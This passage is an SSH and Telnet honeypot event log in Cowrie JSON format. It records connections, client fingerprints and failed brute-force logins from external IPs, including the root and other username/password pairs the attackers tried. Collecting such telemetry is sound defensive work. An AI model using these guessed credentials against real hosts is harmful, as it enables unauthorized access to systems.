ssage":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:42.333318Z","src_ip":"186.219.184.142","session":"9aeeef102f83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu20svm","message":"login attempt [root/ubuntu20svm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:42.926923Z","src_ip":"186.219.184.142","session":"9aeeef102f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.48802304267883,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:43.054758Z","src_ip":"192.119.13.58","session":"74b78a303a48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:44.070924Z","src_ip":"186.219.184.142","session":"9aeeef102f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.85272002220154,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:45.862236Z","src_ip":"192.119.13.58","session":"7698eaf5cb4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45578,"dst_ip":"10.17.0.5","dst_port":23,"session":"bced5cf92f33","protocol":"telnet","message":"New connection: 192.119.13.58:45578 (10.17.0.5:23) [session: bced5cf92f33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:45.947384Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":53380,"dst_ip":"10.17.0.5","dst_port":22,"session":"b38569c5d46e","protocol":"ssh","message":"New connection: 147.45.211.215:53380 (10.17.0.5:22) [session: b38569c5d46e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:47.634759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:47.639990Z","src_ip":"147.45.211.215","session":"b38569c5d46e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:47.810183Z","src_ip":"147.45.211.215","session":"b38569c5d46e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqxswcde","message":"login attempt [root/zaqxswcde] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:48.327744Z","src_ip":"147.45.211.215","session":"b38569c5d46e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:49.500345Z","src_ip":"147.45.211.215","session":"b38569c5d46e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37196,"dst_ip":"10.17.0.5","dst_port":23,"session":"d088d5786495","protocol":"telnet","message":"New connection: 192.119.13.58:37196 (10.17.0.5:23) [session: d088d5786495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:51.026941Z"}
{"eventid":"cowrie.session.closed","duration":0.006987810134887695,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:46:51.033799Z","src_ip":"192.119.13.58","session":"d088d5786495","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.8512966632843,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:00.474171Z","src_ip":"192.119.13.58","session":"5d2fc2b57b2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.65673875808716,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:04.294480Z","src_ip":"192.119.13.58","session":"8567c8a1307e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.701916217803955,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:10.053781Z","src_ip":"186.195.16.41","session":"ef932d74356e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":41262,"dst_ip":"159.203.135.109","dst_port":22,"session":"afb789e12de0","protocol":"ssh","message":"New connection: 103.149.28.157:41262 (159.203.135.109:22) [session: afb789e12de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:10.323874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:10.332610Z","src_ip":"103.149.28.157","session":"afb789e12de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:10.582087Z","src_ip":"103.149.28.157","session":"afb789e12de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"115599","message":"login attempt [root/115599] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:11.339186Z","src_ip":"103.149.28.157","session":"afb789e12de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:12.591203Z","src_ip":"103.149.28.157","session":"afb789e12de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.68069553375244,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:12.962833Z","src_ip":"192.119.13.58","session":"33b6d88bd971","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45646,"dst_ip":"10.17.0.5","dst_port":23,"session":"f195191a4d9f","protocol":"telnet","message":"New connection: 192.119.13.58:45646 (10.17.0.5:23) [session: f195191a4d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:14.497805Z"}
{"eventid":"cowrie.session.closed","duration":32.25525760650635,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:18.202522Z","src_ip":"192.119.13.58","session":"bced5cf92f33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55222,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ec7a5dcb6f6","protocol":"telnet","message":"New connection: 192.119.13.58:55222 (10.17.0.5:23) [session: 0ec7a5dcb6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:23.796608Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38000,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a33424a6ab5","protocol":"telnet","message":"New connection: 192.119.13.58:38000 (10.17.0.5:23) [session: 6a33424a6ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:33.410730Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37964,"dst_ip":"10.17.0.5","dst_port":22,"session":"126ecd29da21","protocol":"ssh","message":"New connection: 193.37.70.224:37964 (10.17.0.5:22) [session: 126ecd29da21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:33.437664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:33.452076Z","src_ip":"193.37.70.224","session":"126ecd29da21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:33.544502Z","src_ip":"193.37.70.224","session":"126ecd29da21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"djkjlz","message":"login attempt [root/djkjlz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:34.015240Z","src_ip":"193.37.70.224","session":"126ecd29da21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:35.116330Z","src_ip":"193.37.70.224","session":"126ecd29da21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.4.240.226","src_port":43660,"dst_ip":"159.203.135.109","dst_port":22,"session":"47244a909091","protocol":"ssh","message":"New connection: 186.4.240.226:43660 (159.203.135.109:22) [session: 47244a909091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:40.450168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:40.454571Z","src_ip":"186.4.240.226","session":"47244a909091","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:40.539854Z","src_ip":"186.4.240.226","session":"47244a909091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1a1a1a1","message":"login attempt [root/a1a1a1a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:40.909291Z","src_ip":"186.4.240.226","session":"47244a909091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:41.997314Z","src_ip":"186.4.240.226","session":"47244a909091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49874,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fa596aa1234","protocol":"telnet","message":"New connection: 192.119.13.58:49874 (10.17.0.5:23) [session: 3fa596aa1234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:43.284031Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57560,"dst_ip":"10.17.0.5","dst_port":23,"session":"58e9b5e13fb1","protocol":"telnet","message":"New connection: 192.119.13.58:57560 (10.17.0.5:23) [session: 58e9b5e13fb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:45.058171Z"}
{"eventid":"cowrie.session.closed","duration":34.372684478759766,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:47:48.870374Z","src_ip":"192.119.13.58","session":"f195191a4d9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51064,"dst_ip":"10.17.0.5","dst_port":23,"session":"81ed3ca88e2d","protocol":"telnet","message":"New connection: 192.119.13.58:51064 (10.17.0.5:23) [session: 81ed3ca88e2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:04.357602Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":59000,"dst_ip":"10.17.0.5","dst_port":22,"session":"9606e25973d0","protocol":"ssh","message":"New connection: 186.219.184.142:59000 (10.17.0.5:22) [session: 9606e25973d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:04.390276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:04.395949Z","src_ip":"186.219.184.142","session":"9606e25973d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:04.538494Z","src_ip":"186.219.184.142","session":"9606e25973d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peak","password":"peak123","message":"login attempt [peak/peak123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:05.128095Z","src_ip":"186.219.184.142","session":"9606e25973d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:06.275498Z","src_ip":"186.219.184.142","session":"9606e25973d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.276999711990356,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:10.073510Z","src_ip":"192.119.13.58","session":"0ec7a5dcb6f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55062,"dst_ip":"10.17.0.5","dst_port":23,"session":"6069ee764f76","protocol":"telnet","message":"New connection: 192.119.13.58:55062 (10.17.0.5:23) [session: 6069ee764f76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:12.165577Z"}
{"eventid":"cowrie.session.closed","duration":40.2620484828949,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:13.672678Z","src_ip":"192.119.13.58","session":"6a33424a6ab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35816,"dst_ip":"10.17.0.5","dst_port":23,"session":"883eba251e63","protocol":"telnet","message":"New connection: 192.119.13.58:35816 (10.17.0.5:23) [session: 883eba251e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:14.502686Z"}
{"eventid":"cowrie.session.closed","duration":34.13831543922424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:17.422203Z","src_ip":"192.119.13.58","session":"3fa596aa1234","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.37336254119873,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:20.431380Z","src_ip":"192.119.13.58","session":"58e9b5e13fb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":40914,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab424630f171","protocol":"ssh","message":"New connection: 147.45.199.80:40914 (159.203.135.109:22) [session: ab424630f171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:21.006759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:21.012303Z","src_ip":"147.45.199.80","session":"ab424630f171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:21.114999Z","src_ip":"147.45.199.80","session":"ab424630f171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfnbkmlf","message":"login attempt [root/vfnbkmlf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:48:21.730214Z","src_ip":"147.45.199.80","session":"ab424630f171","protocol":"ssh"}
